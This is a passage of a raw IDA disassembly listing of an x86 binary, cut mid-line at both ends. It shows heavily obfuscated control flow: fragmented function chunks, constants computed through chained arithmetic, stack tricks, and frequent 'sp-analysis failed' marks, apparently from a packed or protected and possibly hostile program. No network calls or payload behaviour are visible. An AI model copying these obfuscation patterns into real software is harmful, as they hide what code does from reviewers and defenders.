CODE XREF: hjohnhn9:loc_42417Bj jmp nullsub_23 ; END OF FUNCTION CHUNK FOR sub_423B6C ; --------------------------------------------------------------------------- loc_426C41: ; CODE XREF: hjohnhn9:0042698Aj jns loc_424F3E pushf ; =============== S U B R O U T I N E ======================================= sub_426C48 proc near ; CODE XREF: hjohnhn9:0042490Ep xchg edx, [esp+0] pop edx mov eax, [eax+0Ch] sub_426C48 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42304F loc_426C4F: ; CODE XREF: sub_42304F:loc_426AE9j ; sub_42304F+40BEj js loc_42306D mov ebx, [eax+18h] jmp loc_424F43 ; END OF FUNCTION CHUNK FOR sub_42304F ; =============== S U B R O U T I N E ======================================= sub_426C5D proc near ; DATA XREF: sub_426749-3000o mov eax, [ebp-4] mov esp, ebp pop ebp retn sub_426C5D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F65 loc_426C64: ; CODE XREF: sub_423F65+12CBj ; hjohnhn9:loc_426CE0j jmp loc_428BF7 ; END OF FUNCTION CHUNK FOR sub_423F65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A75 loc_426C69: ; CODE XREF: sub_423A75+8j jmp loc_4271B8 ; END OF FUNCTION CHUNK FOR sub_423A75 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_42. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427E7B loc_426C6F: ; CODE XREF: sub_427E7B+5j jmp nullsub_41 ; END OF FUNCTION CHUNK FOR sub_427E7B ; --------------------------------------------------------------------------- test esi, 23688F42h jmp loc_428440 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_426C7F: ; CODE XREF: sub_424161:loc_424D68j jl loc_4251B2 add ecx, 0DC4540C3h mov esi, 0D440BF32h jo loc_423F86 jmp loc_4251B2 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4263E3 loc_426C9B: ; CODE XREF: sub_4263E3-1382j js loc_42326A loc_426CA1: ; CODE XREF: sub_4263E3:loc_4248A6j call sub_424877 push 920F95FFh pop edx add edx, 91B68572h sub edx, 7BF5D68h xor edx, 78E917E4h call sub_4279ED jmp loc_4290A8 ; END OF FUNCTION CHUNK FOR sub_4263E3 ; =============== S U B R O U T I N E ======================================= sub_426CC8 proc near ; DATA XREF: hjohnhn9:loc_428BA0o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042484F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004260B3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042633F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426DCF SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00426F98 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 004286BD SIZE 00000020 BYTES lea eax, [ebp-14h] push eax call sub_423425 push ecx push 948EBC6Bh pop ecx rol ecx, 0Eh jmp loc_42484F sub_426CC8 endp ; --------------------------------------------------------------------------- loc_426CE0: ; CODE XREF: hjohnhn9:00424962j jns loc_426C64 ; =============== S U B R O U T I N E ======================================= sub_426CE6 proc near ; CODE XREF: sub_4262C5:loc_4264E6p ; FUNCTION CHUNK AT 0042376C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423EC1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004283E0 SIZE 0000000C BYTES xchg edx, [esp+0] pop edx add eax, 82C2CCCDh jmp loc_423EC1 sub_426CE6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_426CF5: ; CODE XREF: hjohnhn9:004274D0j js loc_423D79 not esi jmp sub_4240E6 ; =============== S U B R O U T I N E ======================================= sub_426D02 proc near ; CODE XREF: sub_428FD3+3j ; FUNCTION CHUNK AT 0042326A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427458 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004274D5 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00428806 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00428F06 SIZE 00000005 BYTES add esp, 0FFFFFFECh cmp ds:dword_428AF0, 0 jnz loc_428806 jmp loc_428F06 sub_426D02 endp ; =============== S U B R O U T I N E ======================================= sub_426D17 proc near ; CODE XREF: hjohnhn9:loc_42462Cp ; hjohnhn9:00428B41j ; FUNCTION CHUNK AT 004234F1 SIZE 00000014 BYTES xchg edx, [esp+0] pop edx call sub_424877 mov edx, 0A22F8A70h call sub_427C53 jmp loc_4234F1 sub_426D17 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_426D2F: ; CODE XREF: sub_423CDB:loc_425076j add eax, 18h loc_426D32: ; CODE XREF: hjohnhn9:loc_423D33j mov [ebp-10h], eax loc_426D35: ; CODE XREF: hjohnhn9:loc_42432Fj mov eax, [ebp-10h] mov eax, [eax+60h] add eax, [ebp-4] mov [ebp-14h], eax jmp loc_4283F7 ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- loc_426D46: ; CODE XREF: hjohnhn9:004281DAj shr edi, 1 test esi, edx jmp near ptr dword_4236FC+0Ch ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4247F4 loc_426D4F: ; CODE XREF: sub_4247F4+8j pop ebp xor eax, eax push esi push 0CF9699A1h pop esi and esi, 2FAD298Fh add esi, 31404E79h jmp loc_428A7E ; END OF FUNCTION CHUNK FOR sub_4247F4 ; =============== S U B R O U T I N E ======================================= sub_426D6A proc near ; CODE XREF: hjohnhn9:004283F2j ; sub_425C98+2AEBp xchg esi, [esp+0] pop esi push ebx push 35781F85h pop ebx sub ebx, 0C4F0A04Ah xor ebx, 0DDF980Dh jns near ptr dword_4236FC+7 loc_426D87: ; CODE XREF: hjohnhn9:00423829j jmp loc_427D5C sub_426D6A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_426D8C: ; CODE XREF: sub_4260BD-6Ej jns loc_424DB8 push ecx loc_426D93: ; CODE XREF: sub_4260BD:loc_424A12j mov byte ptr [ebp-20h], 2Dh inc dword ptr [ebp-10h] neg dword ptr [ebp-8] loc_426D9D: ; CODE XREF: sub_4260BD+1585j call sub_423753 mov [ecx], ebx pushf jmp sub_426211 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_426DAA: ; CODE XREF: sub_424A78:loc_427984j pop esi mov eax, [eax] mov [ebp-0Ch], eax mov eax, [ebp-0Ch] mov esp, ebp jmp loc_42380B ; END OF FUNCTION CHUNK FOR sub_424A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4240AE loc_426DBA: ; CODE XREF: sub_4240AE+9j push esi push 76D18151h pop esi rol esi, 8 sub esi, 68E4B3E7h jmp loc_42769B ; END OF FUNCTION CHUNK FOR sub_4240AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426CC8 loc_426DCF: ; CODE XREF: sub_426CC8-246Dj jnz loc_426F98 ; END OF FUNCTION CHUNK FOR sub_426CC8 ; START OF FUNCTION CHUNK FOR sub_426E8C loc_426DD5: ; CODE XREF: sub_426E8C+Aj jmp loc_4248D5 ; END OF FUNCTION CHUNK FOR sub_426E8C ; --------------------------------------------------------------------------- mov [ebx], edx mov eax, [esi] jmp loc_426F98 ; --------------------------------------------------------------------------- adc edx, esi jmp loc_4250C1 ; --------------------------------------------------------------------------- xchg esi, [ebp+0] jmp loc_425EE4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_14. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_426DF3: ; CODE XREF: sub_42325E+3CF7j test ebp, edi jmp loc_425205 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_426DFA: ; CODE XREF: sub_427C9B+13j popf ; END OF FUNCTION CHUNK FOR sub_427C9B ; =============== S U B R O U T I N E ======================================= sub_426DFB proc near ; CODE XREF: sub_4237F4+BF4p ; FUNCTION CHUNK AT 00423495 SIZE 00000012 BYTES xchg ebx, [esp+0] pop ebx push ebp mov ebp, eax loc_426E02: ; CODE XREF: sub_428E98:loc_423E17j jmp loc_4234A2 sub_426DFB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_426E07: ; CODE XREF: sub_426354:loc_4283BFj jz loc_42909E jmp loc_427A11 ; --------------------------------------------------------------------------- loc_426E12: ; CODE XREF: sub_426354-47Bj push offset loc_4237BD jmp nullsub_24 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- mov eax, ds:dword_4252D0 call sub_4244F5 mov esp, ebp xchg ecx, [esp] mov ebp, ecx pop ecx push esi jmp loc_4241AA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_110. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_426E35: ; CODE XREF: sub_424631+1F11j jmp loc_423ED7 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- dw 3F06h dword_426E3C dd 77E60000h ; DATA XREF: sub_4240E6+4r ; sub_4284CB:loc_427FBFr ... dword_426E40 dd 37392B6Bh, 8C331B65h, 6C8D235Ch ; DATA XREF: hjohnhn9:00428061o ; hjohnhn9:loc_4280BFo db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_426E4D: ; CODE XREF: sub_4260BD-1737j jmp loc_4282E4 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- dw 227h byte_426E54 db 1 ; DATA XREF: sub_426749+1AC2w ; sub_426749+2702r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42698F loc_426E55: ; CODE XREF: sub_42698F+Cj jmp loc_42726B ; END OF FUNCTION CHUNK FOR sub_42698F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426708 loc_426E5A: ; CODE XREF: sub_426708-53Ej jmp loc_426311 ; END OF FUNCTION CHUNK FOR sub_426708 ; --------------------------------------------------------------------------- db 76h dword_426E60 dd 6C911D6Eh, 6323176Ch, 5209008Dh ; DATA XREF: sub_426749+2712o dword_426E6C dd 77F50000h ; DATA XREF: sub_426749:loc_423741r ; sub_426749+1ABDw ; --------------------------------------------------------------------------- loc_426E70: ; CODE XREF: hjohnhn9:0042887Dj jmp loc_427CB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427E85 loc_426E75: ; CODE XREF: sub_427E85-A0Aj jmp loc_423F15 ; END OF FUNCTION CHUNK FOR sub_427E85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_426E7A: ; CODE XREF: sub_424161-4C5j jmp loc_423CC4 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- not edi jmp sub_424345 ; --------------------------------------------------------------------------- loc_426E86: ; CODE XREF: hjohnhn9:00424CE7j jp loc_42510D ; =============== S U B R O U T I N E ======================================= sub_426E8C proc near ; CODE XREF: sub_426A30+190p ; FUNCTION CHUNK AT 004248D5 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00426DD5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042804B SIZE 00000005 BYTES xchg edx, [esp+0] pop edx jz loc_425B24 jmp loc_426DD5 sub_426E8C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426475 loc_426E9B: ; CODE XREF: sub_426475:loc_427EA1j cmp ecx, 9029DA59h jmp loc_4231C3 ; END OF FUNCTION CHUNK FOR sub_426475 ; --------------------------------------------------------------------------- loc_426EA6: ; CODE XREF: hjohnhn9:00426201j popf js loc_424E1C loc_426EAD: ; CODE XREF: hjohnhn9:loc_428414j push 1134D065h pop eax xor eax, 0C4F530B5h or eax, 337FEE7Dh jmp loc_426A09 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_426EC4: ; CODE XREF: sub_424819+2BECj push eax push 0 push edx push 0AA96A096h pop edx xor edx, 0A7A694FEh and edx, 9A1ACD69h test edx, 4000h jmp loc_425F9E ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_426EE5: ; CODE XREF: sub_4260BD:loc_423BF1j mov esi, ebp xchg esi, [esp+0] mov ebp, esp add esp, 0FFFFFFE0h mov [ebp-8], edx push ebx jmp loc_427431 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- locret_426EF8: ; CODE XREF: hjohnhn9:004237D2j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_426EF9: ; CODE XREF: sub_42304F+44BAj jmp loc_424D8C ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_426EFE: ; CODE XREF: sub_425BD2-1CAFj ; sub_427BCE-848j jmp loc_428B34 ; --------------------------------------------------------------------------- loc_426F03: ; CODE XREF: sub_425BD2:loc_424788j mov eax, [ebp-10h] mov al, [ebp+eax-20h] push 0CA48626Ah pop edx add edx, 0D275ECDEh or edx, 2CE8D87Ah rol edx, 1Fh jmp loc_424266 ; --------------------------------------------------------------------------- loc_426F24: ; CODE XREF: sub_425BD2:loc_427881j jge loc_424788 jmp loc_425AE1 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- pop ebx jmp sub_426A78 ; --------------------------------------------------------------------------- loc_426F35: ; DATA XREF: hjohnhn9:00426119o cmp dword ptr [ebp-8], 0 jnz loc_428BAC jmp loc_426344 ; --------------------------------------------------------------------------- pushf test ecx, 327C5875h jmp loc_427160 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_426F50: ; CODE XREF: sub_42325E+82Aj push 0E629B8E1h jmp loc_426DF3 ; END OF FUNCTION CHUNK FOR sub_42325E ; =============== S U B R O U T I N E ======================================= sub_426F5A proc near ; DATA XREF: hjohnhn9:00423C7Bo ; FUNCTION CHUNK AT 0042365D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423E8D SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0042513C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425C33 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00425D65 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426A0E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426BA8 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00427339 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00427B8D SIZE 00000005 BYTES mov eax, [ebp-20h] mov byte ptr [eax], 0 inc dword ptr [ebp-1Ch] jmp loc_425D65 sub_426F5A endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_426F68: ; CODE XREF: hjohnhn9:004266D5j inc dword ptr [ebp-1Ch] jmp loc_426B9C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4290CF loc_426F70: ; CODE XREF: sub_4244F5-14Ej ; sub_4290CF+4j inc dword ptr [ebp-18h] push offset sub_425F3F jmp loc_4246A3 ; END OF FUNCTION CHUNK FOR sub_4290CF ; --------------------------------------------------------------------------- xchg ebx, [ebp+0] jmp sub_42387A ; =============== S U B R O U T I N E ======================================= sub_426F85 proc near ; CODE XREF: sub_427C53:loc_427AA2j ; FUNCTION CHUNK AT 004260CD SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042726D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004277CE SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00428150 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00428D00 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00428EEB SIZE 00000007 BYTES add esp, 0FFFFFFE4h mov [ebp-8], edx mov [ebp-4], eax xor eax, eax mov [ebp-0Ch], eax jmp loc_4260CD sub_426F85 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426CC8 loc_426F98: ; CODE XREF: sub_426CC8:loc_426DCFj ; hjohnhn9:00426DDEj sub ecx, 0EC213638h and ecx, 0D1BF21DAh add ecx, 40256A96h mov [ecx], eax pop ecx loc_426FAD: ; CODE XREF: hjohnhn9:004236D9j lea eax, [ebp-14h] xor edx, edx push ecx jmp loc_42633F ; END OF FUNCTION CHUNK FOR sub_426CC8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42363F loc_426FB8: ; CODE XREF: sub_42363F:loc_4265C3j ror eax, 12h mov ds:dword_428B18, eax locret_426FC1: ; CODE XREF: sub_42362A:loc_42911Dj retn ; END OF FUNCTION CHUNK FOR sub_42363F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4235C9 loc_426FC2: ; CODE XREF: sub_4235C9+Aj jmp loc_42326F ; END OF FUNCTION CHUNK FOR sub_4235C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42363F loc_426FC7: ; CODE XREF: sub_42363F+2649j ; sub_426F5A-3ABj rol eax, 12h jmp loc_4289FD ; END OF FUNCTION CHUNK FOR sub_42363F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42345B loc_426FCF: ; CODE XREF: sub_42345B+6j jno loc_4243BD mov ebp, esp push ecx push 231CBC7Bh jmp loc_428892 ; END OF FUNCTION CHUNK FOR sub_42345B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_426FE2: ; CODE XREF: sub_42325E+496Bj cmp edi, ecx loc_426FE4: ; CODE XREF: sub_428E98+1j jmp loc_428B46 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427564 loc_426FE9: ; CODE XREF: sub_427564+Dj jnz sub_427DE6 jmp loc_4245D2 ; END OF FUNCTION CHUNK FOR sub_427564 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A30 loc_426FF4: ; CODE XREF: sub_426A30+760j jz loc_4247C1 call sub_426859 jnz loc_427181 mov ecx, [ebx+edx-4] or ecx, ecx jz loc_4247C1 mov ebx, [ebx+ecx] jmp loc_4247BC ; END OF FUNCTION CHUNK FOR sub_426A30 ; --------------------------------------------------------------------------- shl ebx, 7 jmp loc_424922 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42873F loc_427021: ; CODE XREF: sub_42873F:loc_4252D4j jnz loc_428748 retn ; END OF FUNCTION CHUNK FOR sub_42873F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_427028: ; CODE XREF: sub_425BD2+2F68j jmp loc_425F81 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424361 loc_42702D: ; CODE XREF: sub_424361+11j jmp loc_426B21 ; END OF FUNCTION CHUNK FOR sub_424361 ; =============== S U B R O U T I N E ======================================= sub_427032 proc near ; CODE XREF: sub_426A30+Ep ; FUNCTION CHUNK AT 00423806 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424480 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00426847 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00427E3F SIZE 00000015 BYTES mov eax, large fs:0 loc_427039: ; CODE XREF: sub_427032-2BADj ; sub_424D25+Cj jnz loc_42448C cmp dword ptr [eax], 0FFFFFFFFh jmp loc_423806 sub_427032 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_76. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428CAF loc_427048: ; CODE XREF: sub_428CAF+15j pop eax add eax, 1676D70Ah rol eax, 11h xor eax, 0D004D392h add eax, ebp push esi jmp loc_4242DE ; END OF FUNCTION CHUNK FOR sub_428CAF ; --------------------------------------------------------------------------- loc_427060: ; CODE XREF: hjohnhn9:0042511Cj test edx, esi jmp loc_427749 ; --------------------------------------------------------------------------- pop ecx jmp sub_4235D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4236A7 loc_42706D: ; CODE XREF: sub_4236A7:loc_424BAEj ; hjohnhn9:00428F38j or esi, 1018A317h sub esi, 25967CE4h or esi, 4B12ED79h ; END OF FUNCTION CHUNK FOR sub_4236A7 ; START OF FUNCTION CHUNK FOR sub_428E98 loc_42707F: ; CODE XREF: sub_428E98-507Bj xor esi, 0FBF2FFFFh loc_427085: ; CODE XREF: hjohnhn9:loc_427EF5j add eax, esi jmp loc_428A97 ; END OF FUNCTION CHUNK FOR sub_428E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_42708C: ; CODE XREF: sub_424631:loc_424F3Ej mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F7h jnz loc_423F3D jmp loc_428667 ; --------------------------------------------------------------------------- loc_4270A1: ; CODE XREF: sub_424631:loc_424F28j mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F6h jz loc_4249A3 jmp loc_428567 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- loc_4270B6: ; CODE XREF: hjohnhn9:00425B60j rol eax, 9 push eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425029 loc_4270BB: ; CODE XREF: sub_4289A4+9j jmp loc_4267FC ; END OF FUNCTION CHUNK FOR sub_425029 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427363 loc_4270C0: ; CODE XREF: sub_427363+7j jmp loc_425DB7 ; END OF FUNCTION CHUNK FOR sub_427363 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265A0 loc_4270C5: ; CODE XREF: sub_4265A0+Dj jmp sub_42855B ; END OF FUNCTION CHUNK FOR sub_4265A0 ; --------------------------------------------------------------------------- loc_4270CA: ; CODE XREF: hjohnhn9:00424B75j jmp loc_426388 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4270CF proc near ; CODE XREF: sub_425CB3-1BDAp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042764D SIZE 0000000A BYTES push ebp mov ebp, esp push ebx mov ebx, edx xchg ebx, [esp+4+var_4] jmp loc_42764D sub_4270CF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42387A loc_4270DD: ; CODE XREF: sub_42387A:loc_4271B3j jns loc_426685 loc_4270E3: ; CODE XREF: sub_423BC3+50DDj jmp loc_427BF3 ; END OF FUNCTION CHUNK FOR sub_42387A ; --------------------------------------------------------------------------- adc esi, 0B23EB003h ; START OF FUNCTION CHUNK FOR sub_423444 loc_4270EE: ; CODE XREF: sub_423444+5j jge sub_423FB9 jnp loc_4260B8 sbb ebp, eax jmp loc_426685 ; END OF FUNCTION CHUNK FOR sub_423444 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_36. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_427102: ; CODE XREF: sub_42304F:loc_4237EAj cmp eax, 0FFFFFFFFh jz loc_427112 mov eax, [eax] jmp loc_426C4F ; --------------------------------------------------------------------------- loc_427112: ; CODE XREF: sub_42304F+40B6j ; sub_42304F+436Bj ... xor ebx, ebx jmp loc_426833 ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42303E loc_427119: ; CODE XREF: sub_42303E:loc_424896j add [ebp-8], eax mov eax, [ebp-8] shr eax, 6 xor [ebp-8], eax inc dword ptr [ebp-0Ch] jmp loc_4249B5 ; END OF FUNCTION CHUNK FOR sub_42303E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425029 loc_42712D: ; CODE XREF: sub_425029+7j ; sub_427F90+FEDj inc dword ptr [ebp-8] call sub_42486B loc_427135: ; CODE XREF: sub_427F90+50Aj jmp loc_425040 ; END OF FUNCTION CHUNK FOR sub_425029 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_42713A: ; CODE XREF: sub_423BC3+AA6j jmp loc_423388 ; END OF FUNCTION CHUNK FOR sub_423BC3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_104. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_427140: ; CODE XREF: sub_42325E:loc_4276C0j pop ecx rol ecx, 17h sub ecx, ds:4000F4h add ecx, 9FCF4E83h add ecx, ebp add ecx, 0EBC72302h mov [ecx], eax pop ecx jmp loc_424261 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- loc_427160: ; CODE XREF: hjohnhn9:00426F4Bj jp loc_423E8F ; =============== S U B R O U T I N E ======================================= sub_427166 proc near ; CODE XREF: sub_424631:loc_423B9Cp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424608 SIZE 00000024 BYTES xchg edx, [esp+0] pop edx rol eax, 7 push eax push esi push 1190FCD1h jmp loc_424608 sub_427166 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A30 loc_427179: ; CODE XREF: sub_426A30+22j or edx, edx jz loc_4247C1 loc_427181: ; CODE XREF: sub_426A30+5CFj ; sub_426A30+1E82j jnz loc_42328D add edx, 14h mov ecx, [ebx+edx-8] or ecx, ecx jmp loc_426FF4 ; END OF FUNCTION CHUNK FOR sub_426A30 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_427195: ; CODE XREF: sub_427C9B+5Cj adc edi, ecx sub ebp, esi ror eax, 0Fh xor ebp, ebx loc_42719E: ; CODE XREF: sub_427C9B:loc_427CE6j add eax, 6C2F4752h call sub_425BF2 loc_4271A9: ; CODE XREF: hjohnhn9:00424A8Dj jmp loc_429050 ; --------------------------------------------------------------------------- loc_4271AE: ; CODE XREF: hjohnhn9:004242C1j ; sub_427C9B:loc_42858Dj jmp loc_428EBF ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42387A loc_4271B3: ; CODE XREF: sub_42387A+1Aj jmp loc_4270DD ; END OF FUNCTION CHUNK FOR sub_42387A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A75 loc_4271B8: ; CODE XREF: sub_423A75:loc_426C69j pop ebx or ebx, 0C6FF0DC4h add ebx, 804F2E92h add edx, ebx pop ebx mov edx, [edx] jmp sub_4285DF ; END OF FUNCTION CHUNK FOR sub_423A75 ; --------------------------------------------------------------------------- xor ecx, 1CEA3F9Eh jmp sub_427463 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CCD loc_4271DA: ; CODE XREF: sub_423CCD:loc_427B92j mov eax, [ebp+var_4] mov [ebp+var_8], eax mov eax, [ebp+arg_0] test byte ptr [eax-8], 80h jz loc_427272 call sub_42698F ; END OF FUNCTION CHUNK FOR sub_423CCD ; START OF FUNCTION CHUNK FOR sub_427486 loc_4271F2: ; CODE XREF: sub_427486:loc_425D38j jnz loc_424E94 jmp loc_428DEE ; END OF FUNCTION CHUNK FOR sub_427486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_4271FD: ; CODE XREF: sub_424161+446j jno loc_42405C jmp loc_426054 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- loc_427208: ; CODE XREF: hjohnhn9:00428B7Dj jnz loc_426335 jmp loc_4282C9 ; --------------------------------------------------------------------------- mov eax, [ecx] not ebp jmp sub_428E76 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_84. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_42721D: ; CODE XREF: sub_427486+B9Bj jmp loc_424D52 ; END OF FUNCTION CHUNK FOR sub_427486 ; --------------------------------------------------------------------------- or eax, ebp jmp sub_4263C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423753 loc_427229: ; CODE XREF: sub_423753+25A8j add edx, 3B6EABB3h jmp loc_428BAA ; END OF FUNCTION CHUNK FOR sub_423753 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4287BF loc_427234: ; CODE XREF: sub_4287BF-12Fj jle loc_4268DB mov eax, [ebp-4] xor edx, edx push edx loc_427240: ; CODE XREF: hjohnhn9:loc_427749j push eax jmp loc_42510D ; --------------------------------------------------------------------------- loc_427246: ; CODE XREF: sub_4287BF:loc_42867Bj mov eax, [ebp-4] call sub_426924 jmp loc_423022 ; END OF FUNCTION CHUNK FOR sub_4287BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_427253: ; CODE XREF: sub_425BD2:loc_4265B8j dec dword ptr [ebp-10h] push offset loc_4246C9 jmp loc_4266A1 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BF2 loc_427260: ; 